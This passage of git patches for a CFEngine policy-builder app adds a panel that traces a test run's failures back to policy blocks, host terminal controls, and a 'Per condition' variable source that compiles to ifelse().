Promise belongs to bundle 'cfe_internal_update' in file '/var/cfengine/inputs/update.cf' near line 9", + " error: Something failed", + ] + + [problem] = cfpb_testenv.find_problems(lines, {}, {}) + + assert problem["block"] is None + assert (problem["file"], problem["line"]) == ("/var/cfengine/inputs/update.cf", 9) diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 5209495..e21b2b9 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -77,6 +77,18 @@ export interface TestEnvRequest { masterfiles?: string; } +// An error of a host's last agent run, traced to the block (or group) that made it when it's ours. +export interface TestProblem { + block: string | null; + bundle: string | null; + cause: string[]; + count: number; + file: string | null; + fileId: string | null; + line: number | null; + message: string; +} + // One event of a streaming test-environment run; `exit` always comes last. export type TestEnvEvent = | { current: number; t: 'progress'; total: number } @@ -86,6 +98,7 @@ export type TestEnvEvent = | { exit: number; host: string; kept?: number; notKept?: number; repaired?: number; run: number; t: 'result' } | { host: string; setup_code: string | null; t: 'hub'; url: string | null } | { exit: number; host: string; t: 'exec' } + | { host: string; problems: TestProblem[]; t: 'problems' } | { t: 'done' } | { message: string; t: 'error' } | { message?: string; ok: boolean; t: 'exit' }; diff --git a/src/renderer/src/components/BlockCard.tsx b/src/renderer/src/components/BlockCard.tsx index 537ccd1..fa9afa8 100644 --- a/src/renderer/src/components/BlockCard.tsx +++ b/src/renderer/src/components/BlockCard.tsx @@ -27,6 +27,8 @@ export interface BlockNodeData extends Record { descriptor: BlockDescriptor | undefined; // `${blockId}:${name}` keys of names defined more than once in this file. duplicateKeys: Set; + // Hosts its promises failed on in the last test run. + failedOn?: string[]; // A data chain flows into this block (its variable, or a data-fed parameter). hasDataInput?: boolean; // Set while a condition gate is hovered whose class this block defines. @@ -69,8 +71,30 @@ const headerSx = (hasBody: boolean) => ({ ...(hasBody ? { borderBottom: '1px solid', borderColor: 'divider' } : {}) }); +// "Failed on client1": some of the block's promises weren't kept in the last test run. +function FailedOnBadge({ compact, hosts }: { compact: boolean; hosts?: string[] }) { + if (!hosts?.length) return null; + return ( + + Failed on {hosts.join(', ')} + + ); +} + export function BlockCard({ data, selected }: NodeProps) { - const { instance, descriptor, duplicateKeys, orderNumber, onRemove, highlighted, hasDataInput, cutPending = false } = data; + const { instance, descriptor, duplicateKeys, orderNumber, onRemove, highlighted, hasDataInput, failedOn, cutPending = false } = data; const theme = useTheme(); const compact = useStore(state => state.transform[2] < COMPACT_ZOOM); const sequenced = isSequenced(descriptor); @@ -134,6 +158,7 @@ export function BlockCard({ data, selected }: NodeProps) { {!compact && conditionalEntries > 0 && ( )} + >(new Map()); const order = useMemo(() => executionOrder(instances, edges, blockDescriptorsById), [instances, edges]); + // Blocks whose promises failed in the last test run, and on which hosts. + const testEnvironments = useAppSelector(state => state.testEnvironments); + const hostNames = useMemo( + () => new Map(testEnvironments.flatMap(environment => environment.hosts.map(host => [host.id, host.name] as const))), + [testEnvironments] + ); + const blockProblems = useBlockProblems(hostNames); const orderNumbers = useMemo(() => new Map(order.map((instanceId, index) => [instanceId, index + 1])), [order]); const byId = useMemo(() => new Map(instances.map(instance => [instance.instanceId, instance])), [instances]); @@ -361,7 +370,8 @@ export function FlowCanvas({ onRemove: () => onRemove(instance.instanceId), cutPending: instance.instanceId === cutPendingId, highlighted: instance.instanceId === highlightedId, - hasDataInput: fedBlocks.has(instance.instanceId) + hasDataInput: fedBlocks.has(instance.instanceId), + failedOn: blockProblems[instance.instanceId] ?? (instance.groupId ? blockProblems[instance.groupId] : undefined) } }; }); diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index 1edf25b..3661658 100644 --- a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -1,4 +1,4 @@ -import { type ReactNode, useEffect, useState } from 'react'; +import { type ReactNode, useEffect, useRef, useState } from 'react'; import AddIcon from '@mui/icons-material/Add'; import AddCircleOutlineIcon from '@mui/icons-material/AddCircleOutlined'; @@ -28,7 +28,8 @@ import { useMasterfilesVersions } from './dialogs/NewProjectDialog'; import { EnvironmentSettingsDialog } from './testenv/EnvironmentSettingsDialog'; import { HostCard } from './testenv/HostCard'; import { HostSettingsDialog } from './testenv/HostSettingsDialog'; -import { LogPane } from './testenv/LogPane'; +import { LogPane, type LogView } from './testenv/LogPane'; +import { ProblemsPanel } from './testenv/ProblemsPanel'; import { TerminalBar } from './testenv/TerminalBar'; type Api = NonNullable; @@ -57,7 +58,7 @@ function problemOf(environment: TestEnvironment, support: PlatformSupport | null * bootstraps the hosts; Run policy rebuilds, deploys to the hub and runs the * agent everywhere until it converges. */ -export function TestResultsView() { +export function TestResultsView({ onShowBlock }: { onShowBlock: (fileId: string, id: string) => void }) { const dispatch = useAppDispatch(); const project = useAppSelector(selectCurrentProject); const environment = useAppSelector(state => state.testEnvironments[0]) as TestEnvironment | undefined; @@ -67,6 +68,21 @@ export function TestResultsView() { const [checks, setChecks] = useState(0); const [editingHost, setEditingHost] = useState(null); const [environmentOpen, setEnvironmentOpen] = useState(false); + const [logView, setLogView] = useState({ hosts: [], filter: '' }); + const [terminalHosts, setTerminalHosts] = useState([]); + const terminalInput = useRef(null); + // Block or group id -> its label, file and group, for naming where a problem comes from. + const files = useAppSelector(state => state.files.files); + const canvas = useAppSelector(state => state.canvas); + const groups = useAppSelector(state => state.groups); + const describe = (id: string) => { + const block = canvas.find(item => item.instanceId === id); + const group = groups.find(item => item.id === (block ? block.groupId : id)); + const fileId = block?.fileId ?? group?.fileId; + const file = files.find(item => item.id === fileId); + if (!block && !group) return null; + return { label: block ? block.label : `Group ${group!.name}`, file: file && `${file.name}.cf`, group: block && group ? group.name : undefined }; + }; const [support, setSupport] = useState<{ key: string; platforms: PlatformSupport | null } | null>(null); const supportKey = environment ? `${environment.edition}|${environment.version}|${environment.arch}` : ''; @@ -210,6 +226,11 @@ export function TestResultsView() { runtime={runtime.hosts[host.id]} lastResult={lastResults.get(host.id)} onOpenSettings={() => setEditingHost(host.id)} + problems={(runtime.problems[host.id] ?? []).length} + onTerminal={() => { + setTerminalHosts([host.id]); + terminalInput.current?.focus(); + }} /> ))} - clearLog(id)} /> + setLogView({ hosts: [hostId], filter: text.slice(0, 60) })} + /> + clearLog(id)} view={logView} onViewChange={setLogView} /> void startAction(environment, 'exec', { ...request(hosts), command })} /> @@ -252,6 +283,7 @@ export function TestResultsView() { isHub={editing.id === environment.hub} busy={busy} exists={Boolean(runtime.hosts[editing.id]?.container) && runtime.hosts[editing.id]?.state !== 'absent'} + container={runtime.hosts[editing.id]?.state === 'absent' ? undefined : runtime.hosts[editing.id]?.container} canRemove={environment.hosts.length > 1} support={platformSupport} otherPorts={new Set(environment.hosts.filter(other => other.id !== editing.id).flatMap(other => other.ports.map(port => port.host)))} diff --git a/src/renderer/src/components/testenv/HostCard.tsx b/src/renderer/src/components/testenv/HostCard.tsx index 5b5dadb..cea0f05 100644 --- a/src/renderer/src/components/testenv/HostCard.tsx +++ b/src/renderer/src/components/testenv/HostCard.tsx @@ -1,5 +1,3 @@ -import { useState } from 'react'; - import DnsOutlinedIcon from '@mui/icons-material/DnsOutlined'; import SettingsOutlinedIcon from '@mui/icons-material/SettingsOutlined'; import TerminalIcon from '@mui/icons-material/Terminal'; @@ -21,9 +19,10 @@ const STATES: Record = { }; // The pill: what the host is, from its state and last run. -function statusOf(runtime: HostRuntime | undefined, result: RunResult | undefined): { label: string; tone: Tone } { +function statusOf(runtime: HostRuntime | undefined, result: RunResult | undefined, problems: number): { label: string; tone: Tone } { const state = STATES[runtime?.state ?? 'absent'] ?? { tone: 'muted' as const, label: runtime?.state ?? '' }; if (runtime?.state !== 'done' || !result) return state; + if (problems > 0) return { tone: 'error', label: `${problems} ${problems === 1 ? 'problem' : 'problems'}` }; if ((result.notKept ?? 0) > 0) return { tone: 'warning', label: 'Not kept' }; return runtime.converged ? state : { tone: 'warning', label: 'Still repairing' }; } @@ -34,27 +33,22 @@ export interface HostCardProps { isHub: boolean; lastResult?: RunResult; onOpenSettings: () => void; + // Point the terminal at this host. + onTerminal: () => void; + // Errors of its last run (the pill says how many). + problems: number; runtime?: HostRuntime; } /** One test host, status first: what it runs, its state, and how to reach it. Settings are behind the gear. */ -export function HostCard({ host, hub, isHub, lastResult, onOpenSettings, runtime }: HostCardProps) { +export function HostCard({ host, hub, isHub, lastResult, onOpenSettings, onTerminal, problems, runtime }: HostCardProps) { const theme = useTheme(); - const [copied, setCopied] = useState(false); - const status = statusOf(runtime, lastResult); + const status = statusOf(runtime, lastResult, problems); const color = status.tone === 'muted' ? theme.palette.text.secondary : theme.palette[status.tone].main; const busy = runtime?.state === 'provisioning' || runtime?.state === 'running'; const exists = Boolean(runtime?.container) && runtime?.state !== 'absent'; const platform = PLATFORMS.find(item => item.id === host.platform)?.label ?? host.platform; - const copyShell = () => { - if (!runtime?.container) return; - void navigator.clipboard.writeText(`docker exec -it ${runtime.container} bash`).then(() => { - setCopied(true); - setTimeout(() => setCopied(false), 1500); - }); - }; - return ( @@ -139,7 +133,7 @@ export function HostCard({ host, hub, isHub, lastResult, onOpenSettings, runtime )} {host.ports.length === 0 && !hub?.setupCode && No published ports} - + diff --git a/src/renderer/src/components/testenv/HostSettingsDialog.tsx b/src/renderer/src/components/testenv/HostSettingsDialog.tsx index 791a121..ab43ec8 100644 --- a/src/renderer/src/components/testenv/HostSettingsDialog.tsx +++ b/src/renderer/src/components/testenv/HostSettingsDialog.tsx @@ -1,3 +1,5 @@ +import { useState } from 'react'; + import { Button, Dialog, @@ -19,6 +21,8 @@ import { PortsField } from './PortsField'; export interface HostSettingsDialogProps { busy: boolean; canRemove: boolean; + // The host's container, once created. + container?: string; exists: boolean; host: TestHost; isHub: boolean; @@ -34,6 +38,33 @@ export interface HostSettingsDialogProps { support: PlatformSupport | null; } +// `docker exec` for a shell in the container, with a Copy button. +function ShellCommand({ container }: { container: string }) { + const [copied, setCopied] = useState(false); + const command = `docker exec -it ${container} bash`; + return ( + + + + + ); +} + /** A host's settings: name, platform, role, ports and environment variables; Reset and Remove. */ export function HostSettingsDialog(props: HostSettingsDialogProps) { const { host, isHub, busy } = props; @@ -98,6 +129,7 @@ export function HostSettingsDialog(props: HostSettingsDialogProps) { props.onChange({ ports })} /> props.onChange({ env })} /> Changing the platform or ports recreates the container on the next run. + {props.container && } diff --git a/src/renderer/src/components/testenv/HostTabs.tsx b/src/renderer/src/components/testenv/HostTabs.tsx index f7cc996..3988bea 100644 --- a/src/renderer/src/components/testenv/HostTabs.tsx +++ b/src/renderer/src/components/testenv/HostTabs.tsx @@ -1,8 +1,10 @@ -import { Box, ButtonBase, alpha, useTheme } from '@mui/material'; +import { Box, ButtonBase, Checkbox, MenuItem, TextField, alpha, useTheme } from '@mui/material'; import type { TestHost } from '../../store/testEnvironmentsSlice/types'; import { hostColor } from './hostColors'; +const MAX_TABS = 4; + /** * Segmented host picker: "All" plus one tab per host. Single choice for the log; * several for the terminal (`multiple`), where none chosen means all. @@ -48,8 +50,41 @@ export function HostTabs({ {label} ); + // Many hosts don't fit as tabs: a dropdown instead. + if (hosts.length > MAX_TABS) { + const label = all ? allLabel : selected.map(id => hosts.find(host => host.id === id)?.name ?? id).join(', '); + return ( + { + const value = event.target.value as unknown as string[] | string; + const picked = (Array.isArray(value) ? value : [value]).filter(id => id !== 'all'); + if (!multiple) return onChange(value === 'all' || picked.length === 0 ? [] : [picked.at(-1)!]); + // Picking "All" (or every host) clears the choice. + const last = Array.isArray(value) ? value.at(-1) : value; + onChange(last === 'all' || picked.length === hosts.length ? [] : picked); + }} + sx={{ width: 200, flexShrink: 0 }} + slotProps={{ select: { multiple: true, renderValue: () => label } }} + > + + {multiple && } + {allLabel} + + {hosts.map((host, index) => ( + + {multiple && } + + {host.name} + + ))} + + ); + } return ( - + {tab('all', allLabel, all, () => onChange([]))} {hosts.map((host, index) => tab(host.id, host.name, !all && selected.includes(host.id), () => toggle(host.id), hostColor(theme, index)))} diff --git a/src/renderer/src/components/testenv/LogPane.tsx b/src/renderer/src/components/testenv/LogPane.tsx index 6a63739..5b26cb6 100644 --- a/src/renderer/src/components/testenv/LogPane.tsx +++ b/src/renderer/src/components/testenv/LogPane.tsx @@ -43,10 +43,29 @@ function entriesOf(lines: LogLine[]): Entry[] { const clock = (time: number) => new Date(time).toLocaleTimeString([], { hour12: false }); /** The environment's log: per host or all, coloured by host and by what each line is. */ -export function LogPane({ hosts, lines, onClear }: { hosts: TestHost[]; lines: LogLine[]; onClear: () => void }) { +export interface LogView { + filter: string; + // One host, or none for all. + hosts: string[]; +} + +export function LogPane({ + hosts, + lines, + onClear, + onViewChange, + view +}: { + hosts: TestHost[]; + lines: LogLine[]; + onClear: () => void; + onViewChange: (view: LogView) => void; + view: LogView; +}) { const theme = useTheme(); - const [selected, setSelected] = useState([]); - const [filter, setFilter] = useState(''); + const { hosts: selected, filter } = view; + const setSelected = (next: string[]) => onViewChange({ ...view, hosts: next }); + const setFilter = (next: string) => onViewChange({ ...view, filter: next }); const [open, setOpen] = useState>(new Set()); const end = useRef(null); const indexOf = new Map(hosts.map((host, index) => [host.id, index])); @@ -95,7 +114,7 @@ export function LogPane({ hosts, lines, onClear }: { hosts: TestHost[]; lines: L placeholder="Filter logs…" value={filter} onChange={event => setFilter(event.target.value)} - sx={{ width: 220 }} + sx={{ width: 220, minWidth: 140, flexShrink: 1 }} slotProps={{ input: { startAdornment: ( diff --git a/src/renderer/src/components/testenv/ProblemsPanel.tsx b/src/renderer/src/components/testenv/ProblemsPanel.tsx new file mode 100644 index 0000000..a1e36dd --- /dev/null +++ b/src/renderer/src/components/testenv/ProblemsPanel.tsx @@ -0,0 +1,81 @@ +import { useState } from 'react'; + +import ErrorOutlineIcon from '@mui/icons-material/ErrorOutlined'; +import ExpandMoreIcon from '@mui/icons-material/ExpandMore'; +import { Box, Button, Collapse, Stack, Typography, alpha, useTheme } from '@mui/material'; + +import type { TestProblem } from '../../project/testRuns'; +import type { TestHost } from '../../store/testEnvironmentsSlice/types'; +import { hostColor } from './hostColors'; + +export interface ProblemsPanelProps { + // Block / group id -> its label and file, for naming where a problem comes from. + describe: (id: string) => { file?: string; group?: string; label: string } | null; + hosts: TestHost[]; + onShowBlock: (fileId: string, id: string) => void; + onShowInLog: (hostId: string, text: string) => void; + problems: Record; +} + +/** What failed in the last run, per host and block, and why — above the log. Hidden when nothing did. */ +export function ProblemsPanel({ describe, hosts, onShowBlock, onShowInLog, problems }: ProblemsPanelProps) { + const theme = useTheme(); + const [open, setOpen] = useState(true); + const items = hosts.flatMap((host, index) => (problems[host.id] ?? []).map(problem => ({ host, index, problem }))); + if (items.length === 0) return null; + const error = theme.palette.error.main; + return ( + + setOpen(value => !value)} sx={{ alignItems: 'center', px: 1.5, py: 0.75, cursor: 'pointer' }}> + + + {items.length} {items.length === 1 ? 'problem' : 'problems'} in the last run + + + + + + {items.map(({ host, index, problem }, at) => { + const origin = problem.block ? describe(problem.block) : null; + const color = hostColor(theme, index); + return ( + + + + {host.name} + + + {origin ? origin.label : problem.bundle ? `Bundle ${problem.bundle}` : 'Not traced to a block'} + + + {origin + ? [origin.file, origin.group && `group ${origin.group}`].filter(Boolean).join(' · ') + : [problem.file, problem.line && `line ${problem.line}`].filter(Boolean).join(', ')} + + {problem.count > 1 && ×{problem.count}} + + {problem.message} + {problem.cause.length > 0 && ( + Cause: {problem.cause.join(' · ')} + )} + + {problem.block && problem.fileId && ( + + )} + + + + ); + })} + + + + ); +} diff --git a/src/renderer/src/components/testenv/TerminalBar.tsx b/src/renderer/src/components/testenv/TerminalBar.tsx index 2339fbb..bc18811 100644 --- a/src/renderer/src/components/testenv/TerminalBar.tsx +++ b/src/renderer/src/components/testenv/TerminalBar.tsx @@ -1,4 +1,4 @@ -import { useState } from 'react'; +import { type RefObject, useState } from 'react'; import PlayArrowIcon from '@mui/icons-material/PlayArrow'; import { Button, InputAdornment, Stack, TextField } from '@mui/material'; @@ -7,8 +7,22 @@ import type { TestHost } from '../../store/testEnvironmentsSlice/types'; import { HostTabs } from './HostTabs'; /** Runs a shell command on the chosen hosts (none chosen: all); the output goes into the log. */ -export function TerminalBar({ disabled, hosts, onRun }: { disabled: boolean; hosts: TestHost[]; onRun: (command: string, hosts: string[]) => void }) { - const [selected, setSelected] = useState([]); +export function TerminalBar({ + disabled, + hosts, + inputRef, + onRun, + onSelect, + selected +}: { + disabled: boolean; + hosts: TestHost[]; + inputRef?: RefObject; + onRun: (command: string, hosts: string[]) => void; + onSelect: (hosts: string[]) => void; + // The hosts to run on; none for all. + selected: string[]; +}) { const [command, setCommand] = useState(''); const [history, setHistory] = useState([]); const [back, setBack] = useState(-1); @@ -22,11 +36,13 @@ export function TerminalBar({ disabled, hosts, onRun }: { disabled: boolean; hos }; return ( - + setCommand(event.target.value)} onKeyDown={event => { diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index 1c8f307..51f469f 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -141,8 +141,12 @@ function TestActivityBadge() { } // The tabs besides the canvas. -function OtherTab({ tab, ...policy }: { tab: number } & Parameters[0]) { - return tab === 1 ? : ; +function OtherTab({ + tab, + onShowBlock, + ...policy +}: { onShowBlock: (fileId: string, id: string) => void; tab: number } & Parameters[0]) { + return tab === 1 ? : ; } function initialParams(descriptor: BlockDescriptor): Record { @@ -1031,7 +1035,22 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi } /> ) : ( - + { + // A problem's block (or group) on the canvas, selected. + dispatch(fileSelected({ fileId })); + setActiveTab(0); + if (groups.some(group => group.id === id)) handleSelectGroup(id); + else { + handleSelectGroup(null); + setSelectedInstanceId(id); + } + }} + /> )} {showSidebars && ( diff --git a/src/renderer/src/project/testRuns.ts b/src/renderer/src/project/testRuns.ts index 68f7856..4fd4bbd 100644 --- a/src/renderer/src/project/testRuns.ts +++ b/src/renderer/src/project/testRuns.ts @@ -13,6 +13,7 @@ type Api = NonNullable; type Action = Parameters[0]; type Request = Parameters[0]; type TestEnvEvent = Parameters[0]>[1]; +export type TestProblem = Extract['problems'][number]; export interface LogLine { host?: string | null; @@ -54,12 +55,14 @@ export interface EnvironmentRuntime { lines: LogLine[]; // How the last action ended, until the tab is looked at (the tab name's check / red dot). outcome: 'error' | 'ok' | null; + // Each host's errors from its last agent run. + problems: Record; results: RunResult[]; runId: string | null; } const MAX_LINES = 5000; -const EMPTY: EnvironmentRuntime = { action: null, error: null, hosts: {}, hub: null, lines: [], outcome: null, results: [], runId: null }; +const EMPTY: EnvironmentRuntime = { action: null, error: null, hosts: {}, hub: null, lines: [], outcome: null, problems: {}, results: [], runId: null }; const runtimes = new Map(); const environmentOfRun = new Map(); const listeners = new Set<() => void>(); @@ -109,6 +112,8 @@ function handle(runId: string, event: TestEnvEvent) { return { results: [...runtime.results, event] }; case 'hub': return { hub: { setupCode: event.setup_code, url: event.url } }; + case 'problems': + return { problems: { ...runtime.problems, [event.host]: event.problems } }; case 'exec': return event.exit === 0 ? {} : appended(runtime, { host: event.host, kind: 'error', text: `exit ${event.exit}` }); case 'error': @@ -150,7 +155,8 @@ export async function startAction(environment: TestEnvironment, action: Action, action, error: null, outcome: null, - results: action === 'run' || action === 'test' ? [] : runtime.results + results: action === 'run' || action === 'test' ? [] : runtime.results, + problems: action === 'run' || action === 'test' ? {} : runtime.problems })); try { const runId = await window.api.testEnvStart(action, request); @@ -210,6 +216,30 @@ export function markTestActivitySeen(): void { for (const listener of listeners) listener(); } +// Block id -> the host names its promises failed on in the last run, across environments. +let blockProblems: Record = {}; +let blockProblemsKey = ''; +function currentBlockProblems(hostNames: Map) { + const found: Record = {}; + for (const runtime of runtimes.values()) { + for (const [host, problems] of Object.entries(runtime.problems)) { + for (const problem of problems) { + if (!problem.block) continue; + const name = hostNames.get(host) ?? host; + found[problem.block] = [...new Set([...(found[problem.block] ?? []), name])]; + } + } + } + const key = JSON.stringify(found); + if (key !== blockProblemsKey) [blockProblems, blockProblemsKey] = [found, key]; + return blockProblems; +} + +/** Which blocks failed on which hosts in the last runs (the canvas badges). */ +export function useBlockProblems(hostNames: Map): Record { + return useSyncExternalStore(subscribe, () => currentBlockProblems(hostNames)); +} + export function clearLog(environmentId: string): void { update(environmentId, () => ({ lines: [] })); } From e91a8a60686423c0d6f94e0c98a9f447a160c190 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 17:35:22 +0300 Subject: [PATCH 033/141] Define Variable can take a different value per condition The new Per condition value source holds condition -> value rows, each condition picked like a block's Condition (with New class), plus an Otherwise value. It compiles to one ifelse() promise, so the first holding condition wins and no duplicate variable is needed. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 1 + blocks/define-variable.json | 35 ++++++ blocks/schemas/common.v1.json | 22 +++- python/cfpb_compiler.py | 26 ++++ python/tests/snapshots/define-variable.cf | 23 ++-- python/tests/test_blocks_contract.py | 3 + python/tests/test_compiler_block_snapshots.py | 7 ++ src/renderer/src/blocks/cases.ts | 32 +++++ src/renderer/src/blocks/definitionEntries.ts | 4 +- src/renderer/src/blocks/types.ts | 10 +- src/renderer/src/canvas/cardRows.ts | 11 +- .../src/components/PropertiesPanel.tsx | 3 + .../src/components/properties/CasesField.tsx | 119 ++++++++++++++++++ .../components/properties/SubjectEditor.tsx | 5 + .../src/components/properties/paramFields.tsx | 21 +++- .../components/properties/valueSources.tsx | 2 + src/renderer/src/pages/ProjectView.tsx | 40 +++--- 17 files changed, 331 insertions(+), 33 deletions(-) create mode 100644 src/renderer/src/blocks/cases.ts create mode 100644 src/renderer/src/components/properties/CasesField.tsx diff --git a/blocks/README.md b/blocks/README.md index 5f83d57..3f7ae5d 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -143,6 +143,7 @@ Every promiser and attribute value is an **expression**: | `{"class_expression": "{{condition}}"}` | Quoted when plain (`"linux.!debian"`), as-is when a function call (`not(fileexists("/x"))` — quoting it is a syntax error) | | `{"bundle": "{{bundle_name}}"}` | A `usebundle` target, as written — also an `edit_line` bundle with `args` (`edit_line => append_if_no_lines("…")`) | | `{"choose": "format", "cases": {"space": " ", "equals": "="}}` | The case for an options parameter's value (a separator per file format) | +| `{"cases_param": "cases", "otherwise": "{{otherwise}}"}` | A `cases` parameter's rows (JSON `[{className, mode, value}]`, edited as condition → value rows) as `ifelse("debian", "www-data", "!redhat", "nginx", "nobody")`: the first holding condition wins; rows without a condition are skipped | | `{"array_param": "settings"}` | `key value` / `key=value` lines as a local array, `"_settings[key]" string => "value";`, compiled to its qualified name (`"tier.harden_ssh_settings"`) — what `set_line_based()` takes | | `{"variable": "{{param}}", "as": ...}` | A picked variable, always bundle-qualified (`vars.x` means this file's `_vars.x`): `scalar` → `"$(common_vars.x)"`, `list` → `{ @(common_vars.x) }`, `name` → `"common_vars.x"` | | `{"previous": "value"}` | Decorators only: the incoming value (see "Chains") | diff --git a/blocks/define-variable.json b/blocks/define-variable.json index f1fd396..8cf19ba 100644 --- a/blocks/define-variable.json +++ b/blocks/define-variable.json @@ -75,6 +75,41 @@ } ] }, + { + "id": "per-condition", + "label": "Per condition", + "badge": "ifelse()", + "value_type": "string", + "literal": true, + "parameters": [ + { + "name": "cases", + "label": "Values", + "type": "cases", + "required": false, + "help": "The first row whose condition holds gives the value." + }, + { + "name": "otherwise", + "label": "Otherwise", + "type": "string", + "required": false, + "help": "When no condition holds." + } + ], + "steps": [ + { + "promise_type": "vars", + "promiser": "{{variable_name}}", + "attributes": { + "string": { + "cases_param": "cases", + "otherwise": "{{otherwise}}" + } + } + } + ] + }, { "id": "structured-data-literal", "label": "Structured data (literal)", diff --git a/blocks/schemas/common.v1.json b/blocks/schemas/common.v1.json index 96e4bd7..c356424 100644 --- a/blocks/schemas/common.v1.json +++ b/blocks/schemas/common.v1.json @@ -60,9 +60,10 @@ "string", "number", "boolean", - "text" + "text", + "cases" ], - "description": "\"text\" is a multiline \"string\". Values are stored as strings; booleans as \"true\"/\"false\"." + "description": "\"text\" is a multiline \"string\". \"cases\" is a list of condition + value rows (JSON: [{\"className\", \"mode\", \"value\"}]), read by cases_param. Values are stored as strings; booleans as \"true\"/\"false\"." }, "required": { "type": "boolean", @@ -313,6 +314,23 @@ } } }, + { + "type": "object", + "additionalProperties": false, + "required": [ + "cases_param", + "otherwise" + ], + "description": "A cases parameter's rows as ifelse(\"\", \"\", …, ): the first row whose condition holds wins.", + "properties": { + "cases_param": { + "$ref": "#/$defs/identifier" + }, + "otherwise": { + "$ref": "#/$defs/expression" + } + } + }, { "type": "object", "additionalProperties": false, diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index 2d71349..e16d209 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -80,6 +80,21 @@ def lines_of(value: str) -> list[str]: return [line.strip() for line in value.splitlines() if line.strip()] +def cases_of(value: str) -> list[dict]: + """A cases parameter's rows that have a condition (it's JSON; anything unreadable is no rows).""" + try: + rows = json.loads(value or "[]") + except json.JSONDecodeError: + return [] + if not isinstance(rows, list): + return [] + return [ + row + for row in rows + if isinstance(row, dict) and isinstance(row.get("className"), str) and row["className"].strip() + ] + + def class_expression(condition: dict) -> str: name = condition["className"].strip() return f"!{name}" if condition.get("mode") == "unless" else name @@ -163,6 +178,17 @@ def compile_value(expr, ctx: Context) -> str: if picked not in expr["cases"]: raise CompileError(f"{expr['choose']}: {picked!r} isn't one of {', '.join(expr['cases'])}") return compile_value(expr["cases"][picked], ctx) + if "cases_param" in expr: + # ifelse(class, value, …, otherwise): the first row whose condition holds. + args = [] + for row in cases_of(ctx.params.get(expr["cases_param"], "")): + name = row["className"] + condition = ( + (f"!({name})" if re.search(r"[|.&!]", name) else f"!{name}") if row.get("mode") == "unless" else name + ) + args += [quote(condition), quote(row.get("value", ""))] + otherwise = compile_value(expr["otherwise"], ctx) + return f"ifelse({', '.join([*args, otherwise])})" if args else otherwise if "array_param" in expr: # One `key value` / `key=value` line per entry, as a local array; the qualified name is passed. local = f"{ctx.prefix}{expr['array_param']}" diff --git a/python/tests/snapshots/define-variable.cf b/python/tests/snapshots/define-variable.cf index c375154..02a03d8 100644 --- a/python/tests/snapshots/define-variable.cf +++ b/python/tests/snapshots/define-variable.cf @@ -6,40 +6,45 @@ # Case 1 "list" slist => { "a", "b" }; -### source structured-data-literal +### source per-condition # Case 2 + "per_condition" + string => ifelse("debian", "www-data", "redhat", "nginx", "nobody"); + +### source structured-data-literal + # Case 3 "structured_data_literal" data => parsejson("{\"a\": 1}"); ### source variable - # Case 3 + # Case 4 "variable" string => "$(snap_vars.literal)"; ### source list-variable - # Case 4 + # Case 5 "list_variable" slist => { @(snap_vars.list) }; ### source command-output - # Case 5 + # Case 6 "command_output" string => execresult("/bin/echo hello", "noshell", "stdout"); ### source file-lines - # Case 6 + # Case 7 "file_lines" slist => readstringlist("/etc/hosts", "x", "\n", "1000", "1048576"); ### source file-content - # Case 7 + # Case 8 "file_content" string => readfile("/etc/hosts", "16384"); ### source file-metadata - # Case 8 + # Case 9 "file_metadata" string => filestat("/etc/hosts", "size"); ### source environment-variable - # Case 9 + # Case 10 "environment_variable" string => getenv("HOME", "1024"); ### source structured-data-json - # Case 10 + # Case 11 "structured_data_json" data => readjson("/etc/hosts", "1048576"); diff --git a/python/tests/test_blocks_contract.py b/python/tests/test_blocks_contract.py index 6260928..a21c8d3 100644 --- a/python/tests/test_blocks_contract.py +++ b/python/tests/test_blocks_contract.py @@ -74,6 +74,9 @@ def _walk(expr, *, top_level: bool, in_decorator: bool, problems: list[str], whe yield expr["list_param"] if "array_param" in expr: yield expr["array_param"] + if "cases_param" in expr: + yield expr["cases_param"] + yield from _walk(expr["otherwise"], top_level=False, in_decorator=in_decorator, problems=problems, where=where) if "choose" in expr: yield expr["choose"] for case in expr["cases"].values(): diff --git a/python/tests/test_compiler_block_snapshots.py b/python/tests/test_compiler_block_snapshots.py index 2150e49..5d02af7 100644 --- a/python/tests/test_compiler_block_snapshots.py +++ b/python/tests/test_compiler_block_snapshots.py @@ -4,6 +4,7 @@ from __future__ import annotations +import json import os from pathlib import Path @@ -71,6 +72,12 @@ def _definition_cases(block_id: str) -> list[tuple[str, dict]]: for i, source in enumerate(descriptor["value_sources"]): name = source["id"].replace("-", "_") overrides = {"from_variable": FROM_VARIABLE[source["id"]]} if source["id"] in FROM_VARIABLE else {} + if source["id"] == "per-condition": + rows = [ + {"className": "debian", "mode": "if", "value": "www-data"}, + {"className": "redhat", "mode": "if", "value": "nginx"}, + ] + overrides = {"cases": json.dumps(rows), "otherwise": "nobody"} extra = {} if source["id"].startswith("combine"): extra["classRefs"] = [ diff --git a/src/renderer/src/blocks/cases.ts b/src/renderer/src/blocks/cases.ts new file mode 100644 index 0000000..d9b3a77 --- /dev/null +++ b/src/renderer/src/blocks/cases.ts @@ -0,0 +1,32 @@ +// A "cases" parameter (Define Variable's Per condition): condition + value rows, stored as JSON. +export interface CaseRow { + className: string; + mode: 'if' | 'unless'; + value: string; +} + +export function parseCases(text: string | undefined): CaseRow[] { + try { + const rows: unknown = JSON.parse(text || '[]'); + if (!Array.isArray(rows)) return []; + return rows + .filter((row): row is Record => typeof row === 'object' && row !== null) + .map(row => ({ + className: typeof row.className === 'string' ? row.className : '', + mode: row.mode === 'unless' ? 'unless' : 'if', + value: typeof row.value === 'string' ? row.value : '' + })); + } catch { + return []; + } +} + +export const serializeCases = (rows: CaseRow[]): string => JSON.stringify(rows); + +// For cards: "debian: www-data · redhat: nginx". +export function 